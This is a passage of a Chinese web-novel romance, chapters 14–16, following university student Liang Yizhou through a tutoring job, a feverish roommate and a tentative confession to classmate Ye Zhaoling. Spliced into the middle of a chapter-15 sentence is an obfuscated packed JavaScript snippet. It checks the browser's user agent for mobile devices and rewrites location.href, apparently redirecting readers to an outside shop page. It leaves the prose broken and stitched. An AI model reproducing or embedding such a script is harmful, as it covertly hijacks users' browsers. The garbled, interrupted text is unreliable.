“季来之?”梁宜舟包翻到一半,抬头看向他。 “嗯,本来拍视频是摄影社的事情,他今天临时有事,拜托给你们学生会了。”叶朝陵很耐心的语气,“他提供了设备,提前邀请好了我们系的演员同学。” “这样……” “嗯,还有饮料。”叶朝陵说得再自然不过,“抱歉,我看你不在群里,没点奶茶,我就自作主张帮你点了冰橙汁,比奶茶、咖啡好入睡一点。” 梁宜舟干笑两声,“这又什么好抱歉的,可能部长在群里就没拉我了。” “哦。”叶朝陵举了举手上的冰橙汁,“那喝吗?” “你呢?‘快递’帅哥,这么大热天,替人跑一趟,你人也太仗义了。” 叶朝陵极少见的只回应前半句:“我不喝了。” 梁宜舟若无其事地说:“为什么?怕糖分高啊?” “不是,我怕酸。” “又没我酸,你挤兑什么呢?”梁宜舟大大方方自嘲,“这样不绅士了哈。” 叶朝陵苦笑一下,“我真怕酸。” “那我下次不能带你去我私藏的砂锅米线了,那家是东北米线店,就适合拿个小碗,里面多放麻油、辣油,还有最灵魂的黑醋。” 叶朝陵这样的优等生,讲话很容易有一种讲题的正经。 “那还是可以吃的,醋酸不太一样。” “……黑醋你又不怕酸了?” 叶朝陵认真说:“相比天然果酸,我还是更能接受乙酸一点。” 梁宜舟有点无语地看向叶朝陵,“你这人,不会就为了吃顿饭诓我吧?我读书少,你可不要骗我。” 叶朝陵出声,替她把吸管一次性插-好,“没必要。” “好吧,那也是。” 梁宜舟笑,心脏不安分的跳动。 他这样说,总不可能是为了陪自己吃顿饭啦。 下一瞬,叶朝陵却再自然不过地说:“不用诓你,你本来就说要请我吃饭。” “我什么时候说要……” 梁宜舟话说到一半,自行打住,忍不住打了个喷嚏。 哦对,买药那次。 还有今天的防蚊贴。 之前的发夹。 再之前的红豆沙。 再再之前的…… 14. 落幕 14、落幕 大约是连续大雨过后,天气潮热,到晚上气温却降低了一点,对比之下,程如梨的体温从手掌心就远高于梁宜舟的。 梁宜舟把自己之前没吃完的感冒药拿给她,仔细查看贴在药盒上的服用方式,手上停顿着,声音有点懊恼,“糟糕了,正好没有退烧药。” “没关系,吃点感冒药一样的。” “我当时在医务室打了一针退烧针,就没有开退烧药了。” 梁宜舟的动作略微逆着光,半明半暗的面容让梁宜舟忍不住转移身体不适的注意力,夸赞说:“我发现你不化妆皮肤看起来更清透。” 梁宜舟轻笑:“现在是说这个的时候吗?” “真的很漂亮,羡慕天生的大美女。” “谢谢你,不过我还是先给你网上买一盒退烧药吧,我看你眼睛都发直了,烧糊涂了。”梁宜舟看了眼手机屏幕的时间,想着校医室此刻应该是关门了。 “我那是看你看的,发烧没事,小问题。”程如梨实话实说,“我甚至觉得我可以出去通宵唱歌,出一身汗,搞不好退烧更快。” 梁宜舟还没来得及翻白眼,其他室友也立刻出声拒绝,都劝她老实点。 程如梨小心地吐了下舌头:“好吧,那等我下周生日,我们好好出去大吃一顿,唱唱歌,这学期课也太满了,过得跟高中似的,根本就没空出去玩。” 梁宜舟确认了下服用的胶囊数量,摊在掌心递给程如梨,又帮她倒了一杯温水,在程如梨仰头吞下的时候,刚好送上。 “你先把身体养好,下周肯定给你好好过生日。” 程如梨含着水“嗯嗯”两声,眼神一转悠,“如果到时候你能把叶朝陵也喊来……那我这个生日一定过得很难忘吧!这可是我的成人礼,很特别的诶!” 梁宜舟无情戳穿她:“打住,你不是比我大半岁,早就过完了十八岁了吗?” “啊……”程如梨干笑两声,“那什么,记错了,是我的成年后第一个生日!” “别打这个歪主意哈。” “我也是为你好啊,我可听季来之说了,他们系都觉得叶朝陵和程月照可般配了。”程如梨很迟钝的说着真心话,“程月照气质好好啊,连发丝都打理得好精致,我就算是不吃不喝减肥,都不可能瘦成她那样。” 梁宜舟上一秒认为她不用为自己细微情绪花时间去琢磨,这一刻又在颅内回想初次见到程月照时的样子,以至于错过程如梨随意换到的下一个话题。 “舟舟。” “什么?”梁宜舟回头,坐到自己的桌边。 “叶朝陵。” 梁宜舟还停留在吃饭邀约上,很坚定地表达了决心:“我喊不来叶朝陵。” “没跟你说这个,我生日请他干嘛呀,逗你玩的。” “哦。” “看这个!”程如梨将手机转过来,屏幕面对着梁宜舟,反问她说,“你怎么班级群里什么消息都不关注?大家都在投票呢,野生校花、校草榜单评选。” “……” “媒体平台也没少转发,毕竟慕城大学是名校,备受舆论关注。”程如梨上下滑动着屏幕,“你看,叶朝陵遥遥领先,我们也给他投几票吧。” 梁宜舟皱着眉:“……好无聊。” “你还别说,现在流量为王,变现才是硬道理,考名校也是一种不怎么新的出道方式了,你看上一届新闻系那个学姐,上了恋综以后,现在已经是大网红啦,还出演了不少S级制作的长剧。” 梁宜舟不太关注这个,总觉得美貌变现,距离自己的人生太过遥远。 “那你先投着,我得去做家教兼职了。” 程如梨潦草地“嗯”了一声,忍不住感慨,“你也太辛苦了,感觉忙个不停,舟舟宝贝,你也不要太懂事了,该问家里要钱就要,那也是应该的。不过我不止在给叶朝陵投票,我也得给你投,万一你红了,岂不是带我去看五月天。” “放一万个心,就算不红,以后工作赚了钱,我也可以带你去看五月天。” 程如梨发出夸张的哭腔,几乎要趴到梁宜舟的背上,“还是我的舟舟宝贝最好了!但是……那可以是VIP内场票吗?” 梁宜舟笑着伸出食指,直接点在程如梨的眉心,轻轻用力把她往后推了推,准备套个遮阳的薄外套,“这位叶朝陵的粉丝,你可以去投票了,让他红了送你。” 程如梨轻声说:“你也觉得他的颜值和外形完全能出道吧?” “那倒没有。” “哦?那拜托你不要一边对这种评比活动嗤之以鼻,一边又露出叶朝陵获胜是理所当然的表情好吗?”程如梨笑声爽朗,“被我看穿了哦。” “……我走了,你赶紧睡一觉,还没退烧呢,别说胡话。” “行,行,你自己注意安全。” / 梁宜舟这段时间确实很忙。 不止有之前在学校论坛接来的家教工作,还有季来之帮熟人朋友发的家教招募朋友圈,程如梨好心立即转发给了梁宜舟,她便去试了试。 对方很爽朗,看过梁宜舟的简历以后,知道是季来之的朋友,确认是慕城大学的在读学生后,取消了面试,直接一通电话就确认了她的兼职报酬和时间安排。 梁宜舟很是感激,仅凭一通电话,就不难知悉对方是个极其有礼貌的母亲。 她说,她姓刘,喊她刘姐,或者程泊柳妈妈都可以。 但是梁宜舟还是尊敬的称呼她为,刘女士。 梁宜舟如约,按照刘姐给她发的时间和地点,到达另一个高档小区。 不同于叶朝陵家那样的独栋别墅,这一家选择了上下复式的大平层,美式复古装修,老派之中难掩高级审美,墨绿色和黑金色为主色调,慵懒忧郁,又不会让人真的情绪低落,轻微的沉重感处理得刚刚好。 梁宜舟跟刘姐和即将要辅导的女孩程泊柳打过招呼。 程泊柳跟她母亲一样有礼貌,给梁宜舟拆开一双新拖鞋,弯腰放在她面前,主动开玩笑说:“我的名字是不是很像男孩子?” “还好,刘姐有提前跟我说过,你们都偏向于找一位女性家教。” 梁宜舟没好意思自称“女老师”。 刘姐却体面地让程泊柳喊人:“这就是我跟你说过的梁老师,她跟你姐姐都是慕城大学的学生,读书很厉害的,你得好好跟她学习。” “哇,那真的超级厉害了。我还差得远呢,得好好努力。” 梁宜舟有些不适应这样的夸赞,她极少碰到这样说笑随和的家庭氛围,没有轻易开口加入,只是很拘束地将自己的运动鞋收拾好放在门边。 在给程泊柳补习初中物理的过程里,她不同于上一家的小女孩,她非常专注,也很虚心,完全跟随梁宜舟的复习安排。 做完试卷,甚至会举一反三地跟梁宜舟讨论起来。 中途,刘姐来过一次,敲门以后,先探出脑袋,非常少女的笑了一笑:“不好意思,两个小姑娘,我打扰一下,已经过了一个多小时了,我们要不然休息一下吃点水果和甜品吧?也不要太辛苦了。” 梁宜舟没有出声,程泊柳拍了下手说:“太好啦!一起休息一下吧,正好我还有东西要送给梁老师。” 刘女士也笑说:“对哦,快把你的小礼物拿出来!刚刚进门就应该拿!” 梁宜舟尽力想让自己开朗起来:“还有礼物吗?好期待。” “我去拿!” 程泊柳给梁宜舟拿来一个包装精美的礼品盒,方方正正的,梁宜舟经常在陈艳的米线店里端碗筷,她刚接过来就大约猜到,是碗筷杯子之类的东西。 但是在打开蝴蝶结礼盒的那一刻,见到一个红色苹果形状的杯子,还是很惊讶地说:“天了,好可爱啊!我平时为了让自己多喝水,也会买这种可爱杯子!” 程泊柳兴奋地说:“我也是!我也是!我姐姐也说这个很可爱,但是我没有给她,我特意给你挑的,你可以放在我家里,也可以平时带过来用。” 梁宜舟笑容没有变化:“你太贴心了,能陪你一起学习好幸运。” 程泊柳不好意思地嘿嘿了一声,“是我幸运,我姐姐平时住校不在家,我可喜欢跟她一起学习和聊天了,梁老师,你也是我喜欢的漂亮女孩子类型。” 刘女士笑得不行,端来洗好的车厘子和草莓,还有几块慕斯蛋糕,招呼梁宜舟:“你看你喜欢吃什么,不要客气,水果家里还有橙子和芒果,但是我怕你有忌口,我就没有拿出来了。” 梁宜舟从沙发上站起身,拘谨地道谢:“谢谢您,我都可以的,您太客气了。” “没有,没有,你跟程泊柳聊,我不耽误你们等下学习啦。” 程泊柳直接将一块慕斯蛋糕推到梁宜舟面前,“梁老师,你尝一尝,很好吃的,这一家没有那么多热量,我姐姐都计算过了。” 说罢自己也吃了一口,对着刘女士的背影说:“妈妈,你记得帮我喂狗狗。” “记得——”刘女士在厨房关闭水龙头,回应说,“蓝莓和无糖酸奶对吧?” “嗯!千万不要给小狗狗吃有糖的东西!几颗蓝莓就行!” “好的,好的,我都记得的。” 这样有来有回的温馨对话,让梁宜舟心里有一处地带温柔塌陷。 / 周末晴朗,虽然高温,但是梁宜舟还是觉得出于礼貌,必须在顺利上完第一节课后,邀请程如梨和季来之吃顿饭,以表达给她找兼职的感谢。 她纠结了几秒,要不要主动邀请叶朝陵,毕竟也欠他不少人情。 转头一想,又觉得这样拼凑在一桌,显得她多少有点敷衍。 何况不管她这次有没有邀请叶朝陵,季来之也肯定会把他喊上。 从结果看,梁宜舟屈服于不做选择的轻松感。 午后,难得不用做家教,也不用上课。 梁宜舟躺在宿舍床上,正在刷手机找一家适合四个人吃的烤肉店或者韩料店,这是程如梨提的建议,她欣然采纳。 在其他两位室友出门上选修课后,程如梨挤到梁宜舟身边,顿了顿才说:“舟舟,有个事情我想告诉你。” 梁宜舟看出她的为难,“什么事情?你跟季来之已经‘坐火箭’在一起了?” “那倒不是,我都差点跟他绝交了。” “啊?这是什么故事走向,前两天不是还很上头吗?我看你很纠结的样子。” 程如梨尴尬的笑了一下:“那个,季来之给你介绍的家教……怎么样?” “什么怎么样?很好啊,一家人都很有礼貌,跟我之前做的那家风格完全不一样,给我开的薪酬也很高,我教的那个小姑娘还给我送了礼物。” “这样啊……那有什么其他特别的事情发生吗?” “什么特别的?” “比如……小女孩的爸爸呀,哥哥呀,妈妈呀,姐姐呀。” 梁宜舟伸手摸了摸程如梨的脑袋,“你还没退烧吗?怎么还在说胡话?我是去给小女孩补习初中物理的,只需要接触她和她的妈妈,怎么会见到她全家?” “哦——” “你有话直说好了,你搞得我心里毛毛的,不会不安全吧?” 梁宜舟在校外做兼职,最担心的就是这两个。 一个是自己的人身安全,另一个是不要影响她的正常生活和学业。 “哦,哦,那不是,那怎么可能。”程如梨心一横,实在没办法拐弯抹角的说话,“是这样的,我在看到季来之朋友圈以后,我不就打听了一下吗?想着既然是他的好朋友,那肯定是靠谱的呀,就没有多问。” “嗯。” “后面我才知道,原来是帮程月照转发的,那个小女孩是程月照的亲妹妹。” 梁宜舟淡淡看她一眼:“……所以呢?” “不是,那是程月照的家里!你给情敌打工了!” 梁宜舟垂眸,放下手机,合上眼休息,轻声说:“我不是她的情敌,而 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但是一边两个人,她自己搬了个塑料椅子坐在最外侧,独立占据一面。 她预先点好了菜,让其他人不够再加。 还没开始烤,梁宜舟便借家教之故先买了单,预留了较多餐费,供其他人后续再点菜,老板告诉她,放心,加个微信,都是学生,多退少补,问题不大。 季来之担心他们三个是一个系的同学,聊天会忽略了程如梨的感受,反而全场话题都围绕着即将过生日的程如梨。 令她这顿饭吃得心满意足。 只是在微信上“辱骂”梁宜舟不够义气,至少告诉她一声程月照也会去,这样她好把“战袍”穿上,哪怕长得不如程月照,也绝对不能输了阵仗。 “好在,季来之全程照顾我的感受,还是挺有眼力劲的。” 程如梨这样发来语音。 梁宜舟十分抱歉,她并非预谋已久。 她只是高估了自尊心在程月照面前可以维系的时间长度,她以为她会不介意,实际上第一口就吃到了一颗超辣的蒜片。 这辈子都没有吃过这么辣的蒜片。 差点呛得她流出眼泪。 梁宜舟回复了很多消息给程如梨,就差以死谢罪。 程如梨虽然没有她这样的境遇,但是也很理解她的心情,以“别忘记以后给我买五月天演唱会内场VIP票就行”结束了对话,嘱咐她也别忘记吃饭。 梁宜舟确实想哭。 这一秒,和上一秒都是。 她没有程如梨那么阳光敞亮,也没有程月照那么自信优秀。 她可以扮演被人喜欢的角色,但是那一点属于自己的灵魂都没有。 梁宜舟吸了下鼻子,有点无奈,总是这样,脑子不舒服的时候,鼻子也不通。 她尽力了呼吸了几下。 快要走到女生宿舍门口时,就差一步了,才发现叶朝陵平直清薄的背肩。 梁宜舟上一层台阶,在推拉门之前避无可避,“……你不是在吃烤肉吗?” “你不是去做家教了吗?” “哦。” 叶朝陵无法从她的双眸里分辨出除了情绪低落以外的事情,他移开了目光,视线停留在她紧紧蹙着的眉心,“哦是什么意思?” 明明不是挑衅和质问的语气,却让梁宜舟有点动气。 “什么什么意思?我得勤工俭学,随时听从别人的时间变动。我不是请你们吃了烤肉吗?不用非得我陪聊陪坐吧。” 叶朝陵淡淡地看她一眼,没有理会她的气话,“饿了吗?” “什么……” “饭团,便利店买的,热了两次了,可能会有点干。” 僵持片刻,梁宜舟接过道谢。 但仍旧不可置信地问:“你在这等我就是为了给我送饭团?” “不然呢?以为我来干什么?” 梁宜舟如实说:“我以为你来兴师问罪,指责我突然放你鸽子。” 叶朝陵平静地回答:“我不是来兴师问罪的,我只是怕你忙着兼职没有吃饭。而且,我以为你说的请我吃饭,是指我们两个人。” “不重要了吧,我单独请你吃,也就是一顿烤肉。”梁宜舟疏淡的声音很像她母亲,明明这么好听,但是总隔着拒人于千里的冷漠,“我们两不相欠啦!你也不差这一顿饭吃,我的公主戏份也杀青了,你呢……” 梁宜舟不敢看他,自言自语:“你呢,有你自己的剧本,但是你在我的人生脚本里,应该要落幕了。” 人有的时候会忽然脆弱起来。 不一定是那天在警察局被陈屿妈妈抓包,被陈艳按头鞠躬道歉求饶的狼狈时刻,那些都不如今天这最后一根稻草。 今天没有发生很特别的事情。 只是她觉得叶朝陵那天说她底色是快乐的这句话,是不对的。她深深羡慕着程月照和程泊柳,还有陈屿和叶朝陵,还有季来之和程如梨。 他们都有自己的烦恼。 但是他们都没有过梁宜舟她经历过的痛苦和敏感。 她很想拥有一些甜蜜的烦恼,成长的难堪。 而不是这些处处打碎自尊心的现实。 梁宜舟淡淡说:“不重要了,忽略我这些无厘头的话,再见。” 梁宜舟转过身,飞快地走着,埋着头走在没有任何风浪的暴热天。 却感觉到了一丝雨点。 “梁宜舟。” 叶朝陵声音很轻,但是喊住了梁宜舟的脚步。 她转过身,忽然跑回来,从背包里把伞拿出来,递过去,“哦对了,伞。” 叶朝陵没有动作。 “伞也得还你。” 叶朝陵将温热的饭团塞在她的另一只手上,“记得吃饭。还有……” “还有什么?一次性说完。” “还有,你不要哭了。” 15. 房间 15、蛋糕 “发生什么事情了?”叶朝陵显然没有面对过这样的情况,冷静却笨拙地拿出一张纸巾,没有触碰她的肌肤,只是轻轻替她拂去了眼泪,“不哭了。” “没有发生任何事情,可能是我矫情。” “没有,哭算什么矫情。” “你别搭理我了,我这个人从小就是这样,谁越是对我好,我越是觉得离失去这个人不远了,人的热情是有限的,就像花束含苞,我就仿佛能看到凋谢了。” 叶朝陵轻笑,又替她擦了下泪痕,“所以,这又算什么矫情。” “你不觉得我有点悲观吗?” 叶朝陵好像又充当起她的儿科医生,“是谁规定人一定要非常乐观吗?” “虽然你说的很有道理,但是抱歉,没有安抚到我……” “那也先吃饭,吃饱你再悲观。” “……谢谢你的饭团。”梁宜舟捏了捏饭团,尚有余温,“够吃了,碳水炸弹。” “那走吧,吃别的。” 梁宜舟痛定思痛,走近一步,仰起头对他说:“行,我单独请你吃饭,有始有终吧。” 叶朝陵无所谓的笑了一下,“你非得绕回来吗?又有始有终了。” “请你吃饭不就行了,管那么多呢。” 梁宜舟是真的有点想吃烤肉,但是知道他们刚吃过,想到那片爆辣的蒜片就觉得心有余悸,反其道而行之,正想选一家新开的甜品店。 叶朝陵大概是想到吃甜品会让人心情变好,也直接带梁宜舟去了家咖啡馆。 梁宜舟不解地看他一眼:“你会‘读心术’啊?” “什么?” “没,当我没说。” 梁宜舟还在纠结点什么尝一尝,这家是手绘风格的菜单,非常治愈,在点单制作的过程中,现场有店员根据叶朝陵和梁宜舟的外形设计了Q版贴纸,跟饮品和蛋糕一起送上,方便他们拍照纪念,或者拿回家做手账用。 叶朝陵很虚心地问:“手账是类似日记这样的东西吗?我只在网上见过。” “嗯,会更丰富一点,用各种好看的笔、贴纸、胶带,还可以手绘,自由排版,很解压的,不过在宿舍做就有点费劲,瓶瓶罐罐的很多,很难坚持做。” “你喜欢做手账吗?” 梁宜舟摇摇头,很直白的说:“我连自己的房间都没有,哪有地方做手账。” “抱歉。” “这有什么好抱歉的,这对你来说可能觉得冒犯我了,但是这对大部分普通人来说,是正常的生活环境,很多同学小时候都没有自己独立的房间。” “嗯。” 梁宜舟有个不合时宜的想法,在这家浪漫有格调的咖啡馆里,她捏了捏已经有点冷掉的饭团,问叶朝陵:“如果我拿铁配饭团的话,你会不会嫌弃我?” “不会。这不是很日剧吗?” “你还看日剧啊?” 叶朝陵如实回答:“我看你朋友圈发过一条《重版出来》的日剧截图,就去搜了下。” “哦,我都忘了我发过这条了。”自从那一天在警察局被陈屿妈妈抓包,公主外衣被扒下那一刻起,梁宜舟就开始自在地躲避着叶朝陵,做回了部分自己,“可能我刚加你微信的时候把朋友圈打开过,让你看见了,现在我记得我已经关了。” “嗯,现在是三天可见。” “你不觉得你太关注我的朋友圈了吗?” “你不也看见了我的?”叶朝陵好笑地看她一眼,“看你朋友圈也不可以?” 梁宜舟不再扮演公主,咬了一口茄汁鸡排饭团,酸酸甜甜,“不可以,不让看。” 叶朝陵只是笑了下,微微颔首:“那我下次看到了不告诉你。” 不用扮演人畜无害的公主,梁宜舟身上那点乖戾和挑刺就很容易显现。 她吃完了饭团,慢慢抿了一口蛋糕,觉得巧克力质量有点太高了,苦得让她这种只喜欢费列罗的人都能欣赏,她让叶朝陵也吃。 “不过,今天又不是我生日,怎么突然想吃蛋糕了?”还不是单块的那种,是一个小尺寸完整的圆形蛋糕,上面有布丁狗的可爱奶油花。 “不对,我生日也吃不上蛋糕就是了。”梁宜舟搞不动自己的别扭,“小时候真的很想拥有一个又漂亮又好吃的蛋糕,甜到发齁都喜欢,长大了又喜欢苦味的。” 叶朝陵问:“你生日是什么时候?” “干什么?以后要替我庆祝生日啊,可是那时候我们搞不好已经毕业,各奔天涯,早就在彼此的人生剧本里杀青不存在了。” 叶朝陵虽然绅士,但是并不会放纵接纳她所有的刺猬行为。 “你明年不过生日吗,还是你明年就毕业?” 梁宜舟“哦”了一声,闷哼一声,“本来也不过生日。” “不是十年后还要打赌看谁过得更好吗?”叶朝陵前倾身体,突然看向她。 梁宜舟微微后退,靠在沙发背上,假装不经意的说:“你还记得啊。” “嗯。” “好吧……” 梁宜舟垂着双眸,她跟叶朝陵都没有在相处时看手机的习惯,这一点不难发现,却让梁宜舟觉得很特别,尤其是这样沉默的时刻,彼此也只是做自己的事情。 允许空白发生。 “等下要去网吧吗?”叶朝陵出声。 梁宜舟微讶:“你怎么这么突然,这一点都不像你会做的事情。” 叶朝陵反问:“我应该做什么事情?” 梁宜舟回答得一本正经,没有酸涩的意味:“回家拉小提琴,站在领奖台上发言,跟程月照演公主和王子的舞台剧。” 叶朝陵伸手,在梁宜舟想躲开的一侧等着她,轻拍了一下她的头,“想的什么乱七八糟的,你的人生剧本就是这样构建出来的?” 梁宜舟轻轻嘟囔:“不是吗?” “不是,我不会拉小提琴,也没怎么上台发过言,跟程月照微信都没有加,只是同系同学,难免在共同的学生群里。” “是这样吗?” 叶朝陵笑说:“不然呢?” “哦……那为什么要去网吧?”梁宜舟稍微打量了一下叶朝陵,还是觉得他这个人跟网吧完全不搭,甚至无法想象他去网吧能做什么。 “带你放松一下。” “那为什么不是看电影?”梁宜舟觉得自己嘴巴太快,完全没有过脑子,找补说,“不是说我想跟你去看电影,就是举个例子。” “哦,因为我怕你半路会想学习,在网吧也可以。” “……你不要讲得好像很了解我好吗?”梁宜舟从小就有“休息羞耻”,哪怕是暑假和高烧她也不会全天给自己放假,看半小时杂志就会觉得是在浪费时间。 这点程如梨也说过她,梁宜舟也有意识到。 “我每天都能在图书馆看见你。“ 梁宜舟疑惑的笑说:“那你不跟我打招呼?” “图书馆不能说话。”叶朝陵很规矩的解释,“而且我都隔得很远,不想打扰你。” 梁宜舟擅自揣测,“你只是不想跟我坐在一起复习,被其他人看见或者非议而已。” 叶朝陵斟酌了几秒,抬眼看她,沉静地说:“有没有可能,我跟你坐在一起我就没办法安心复习了。” 梁宜舟先是一愣,别开眼,禁止自己胡思乱想,“这样吗?那你有点菜。” 叶朝陵笑了下,“心情好起来了?能嘲笑我了。” “嘲笑你又不会让我的心情变好。” 叶朝陵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093629|195554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉吟片刻,“那做什么会让你的心情变好?” 梁宜舟呆呆的啊了一声,不知道是不是甜品令多巴胺上脑,“做你女朋友可以吗?” 叶朝陵抬眼,原本是随意的习惯性一瞥,却在此刻不由得定住了目光。 他眼眸深暗,神态却很严肃,“可以”几乎是第一时间涌上脑子的,但是这句“可以”是给她玩笑话表白的回应,还是只能代表“这样可以让她心情变好”。 人一旦分心,就会被另一个轻易捕捉到犹豫。 “打住!我随便说说的,成为你女朋友,可能烦恼远大于开心吧。”梁宜舟面不改色,她确实没有当真,“我们就像饭团配拿铁,各有各的风味,偶尔能放在一起吃,但是总不会经常有人这样搭配,也不变成高分固定搭配。” 叶朝陵微微叹了口气,语气淡淡的:“不是非得选高分固定搭配的。” “但是这样很容易踩雷的哦。” “那至少应该给我选择权?” 梁宜舟这下觉得不自在了,不想就这个话题深入聊下去,喝了一口拿铁,抱在掌心,搭在膝盖上,自顾自地说起能令自己开心的事情。 “其实我平时吃饭看那种给死者化妆的视频也挺开心的。” “……” 梁宜舟解释得格外认真:“真的,你应该不会害怕吧?你不是学医的吗?” “我不会,但是你真的不会害怕吗?” “我不会啊。” “吃饭的时候看也没关系?” 梁宜舟点点头,“对,我不受影响。” “为什么?” “什么为什么?” 叶朝陵想了想说:“没什么,只是觉得这不是个寻常的……爱好。” “哦,可能跟我外公和外婆有关系。” 梁宜舟已经很多年没有提到过自己的外公外婆了,也没人跟她提。可能是虚荣作祟,想彰显自己也并非只有陈艳这样没有血缘的家人。 梁宜舟主动说起。 她的外公是在十二年前防洪抗疫里牺牲的退伍军人,并没有接到任务的情况下,主动参与,外婆是早些年前几批援疆的铁路工程设计师,在大西北的土地上肆意生长,哪怕是骨癌晚期,也坚持伏案工作。 他们都很爱护梁宜舟,虽然不在身边,也没有太多精力照顾她的妈妈,但是只要有机会就会给他们写信,寄东西,精神力量一直存续。 他们还有另一个共同点,就是去世时,已经没办法保持遗体完整。 当时单位怜惜,在梁宜舟和她妈妈赶到殡仪馆时,已经替两位老人美容收拾过。 梁宜舟云淡风轻地说着:“所以……我见到他们的时候,我一点都不害怕,虽然那时候的我,才五六岁,根本不知道什么是骄傲,但是有一张出殡的照片,我昂首挺胸的站在我外公外婆的照片前,我现在想,那就是心中有敬畏,什么都不害怕。” 叶朝陵只是这样看着她,沉默的听她讲述着。 眼眸中有很多复杂的、令梁宜舟看不懂的情绪,可是她并不觉得生分。 仿佛他也能感同身受。 但漫长的沉默,还是让梁宜舟忍不住问:“有这么不能理解吗?” “没有。” 他好像比梁宜舟还要沉浸在回忆的感伤里。 叶朝陵停顿一下,“那要不要一起看《入殓师》?你应该已经看过了。” “嗯。但是我也很喜欢。”梁宜舟笑说,“那不还得去网吧?” 叶朝陵想了下,嘴角微微扬起,很礼貌地问她:“我带你去个地方,但是只有我们两个人,你方便吗?” 梁宜舟没往任何复杂的地点想,去下意识摸了下耳垂,淡淡说:“方便啊,有什么不方便的,就看个电影而已。” 16. 车站 16、车站 叶朝陵指的地方距离学校二十分钟公交车路程,并肩坐在公交车靠后的位置,梁宜舟没有主动问,要去哪里,反而问叶朝陵:“你怎么不说话?” “我以为你吃饱了想安静休息下。” “哦。” 梁宜舟说:“电视剧里男女生晚上一起坐末班公交车,是很浪漫的事情。” 叶朝陵神色微妙的往窗外看了看,“坐了反方向的车会不会更浪漫?” “会啊,更浪漫了,这样能在一起的时间就更久了呀。”梁宜舟寻找着叶朝陵的目光,随意往外看了看,发现他在等待下一个停靠站,开始觉得不妙,“你不要告诉我你带我坐反了方向……” “嗯……” “你自己想去哪儿你不知道?” 叶朝陵反将一军,声音淡淡的,“你不是说这样更浪漫了吗?” 梁宜舟自小跟陈艳和梁琰斗智斗勇,嘴上不饶人,“那请问我们俩是偶像剧里的男女主角吗?” “差不多。” “什么差不多,准备下车!”梁宜舟先站起来,公交车准备靠边停车,踉跄得她差点趴到叶朝陵的肩膀上。 “慢点。” “赶紧下车吧。” 叶朝陵很乖顺的“哦”了一声。 要去街对面才能坐正确方向的公交车,但是这一段路需要过一个天桥才能到达,电动扶梯已经停运,只能走上去。 梁宜舟闷声抱怨:“我跟你说,天桥下去的地方,有危险!” “什么危险?” “我们俩会像‘过街老鼠’一样逃窜。” 梁宜舟说得一本正经,甚至捂着嘴,凑近叶朝陵仿佛在说什么秘密。 耳朵痒痒的。 叶朝陵没有躲开,但是好半天都觉得脖子保持着僵直,忘记动弹。 他下了扶梯台阶,目之所及之处只有几个小推车,一家卖山东杂粮煎饼,一家卖东北烧烤,才傍晚“大油边”几个字已经闪烁着彩灯,还有机打冰淇淋,但是主要是在卖鸡蛋仔,街边鳞次栉比地支起了太阳伞,充当临时餐位。 “你说的该不会是这些……” “嗯,最好吃的那家安庆炒面还没到位,得到半夜,我经常光顾。” 叶朝陵问:“得多晚?” “十一二点吧,白天在这边做生意得交摊位费,晚上如果抓得不严,小摊位会更多一点,我一路走过去能吃五家。” 要么怎么说是“过街老鼠”。 梁宜舟外婆留给他们的门面店铺,刚开始还没有过户到梁宜舟名下,陈艳不好直接挪用,带着梁宜舟在这边出摊过几次。 叶朝陵没有问她怎么这么清楚这边的情况。 反而不理解的笑了下,“你看起来很瘦。” 梁宜舟闷哼:“我不是你身边那些‘小鸟胃’女生哦。” “我没那个意思,我很羡慕吃东西吃得很香的人。”叶朝陵主动提起自己的母亲,“我妈经常说,这样的人有福气,有生命力,吃个苹果都更甜一点。” 虽然梁宜舟不太喜欢陈教授,但在叶朝陵的形容里好像是个很慈爱的母亲。 “赞同。”梁宜舟指了指自己,“我妈在世的时候也经常说,跟我吃饭,她都会多吃一点,她自己吃饭,经常觉得没意思,就是为了饱腹而已。” “我也差不多。” “那你要多请我吃饭了。” 叶朝陵静了静,才说:“只要别扭公主愿意。” “知道我别扭,那你就多邀请几次啊。”梁宜舟说,“我都说过多少次要把你的戏份杀青了,你不还在我旁边走着吗?” 叶朝陵说:“哦。” 知道了。 其实没有拒绝的意思。 但是梁宜舟有些心直口快的替自己找补:“开玩笑的,我可没把自己当公主。” 叶朝陵拿出自己的手机,点到梁宜舟的对话框,伸到她眼前晃了晃。 梁宜舟没有立刻发现重点,盯着自己的回复看了一遍,在心里反复咀嚼,担心是不是平时晚上睡前回复的微信里,可爱表情太多啦。 “我的备注没改。” 还是在医学楼外改的备注——公主。 “哦。”梁宜舟不好意思的笑了一下,想起程如梨的话,“不好意思啊,不是吊着你,我刚刚没怎么注意这个。” “不重要,我觉得是公主就行了。” “行吧,迪士尼都说了,真诚勇敢的人就是公主。”梁宜舟目光已经飘远,像是久旱逢甘霖,眼神一下子莹亮起来,“这次真要真诚勇敢了!” “什么?” “那个!” 梁宜舟径直朝着红白色献血车走过去,蹦蹦跶跶的,跟不熟悉的人眼中的不易亲近、气质文艺的梁宜舟完全不同。 “你要献血?” 梁宜舟点点头,“嗯,我本来想在学校献血,但是当时辅导员觉得我和我室友太瘦了,不让我去,生怕我们出点什么问题。” “这么积极献血。” “嗯,等成年等很久了,小时候我妈妈从楼梯上摔下去,还有生我之前做过子宫肌瘤的手术,都用过好心人士的输血。虽然不知道是谁,但是我记很久的!”梁宜舟很果断地将卡包里的证件拿出来,递给医务人员做登记。 确认好信息后,抽血的护士告诉她,“你是在读学生,我们一袋红枣的。” 梁宜舟忙说:“谢谢!没事的,别看我瘦,我身体素质很好的,放心抽血!” “抽完血多坐一会儿再走,这几天都不要洗澡太久,也不要剧烈运动。” 叶朝陵先开口说:“好的。” 接着站在梁宜舟身后,侧过身去,帮她把背包和卡包拿好,静静等候,梁宜舟穿了件天蓝色紧身针织短袖,不用卷袖子,白皙的胳膊青筋脉络更为明显,皮下渗血的事情自小就会发生,以至于发生的时候护士比梁宜舟更慌张。 “我的技术可能不太行,有点渗血了。” 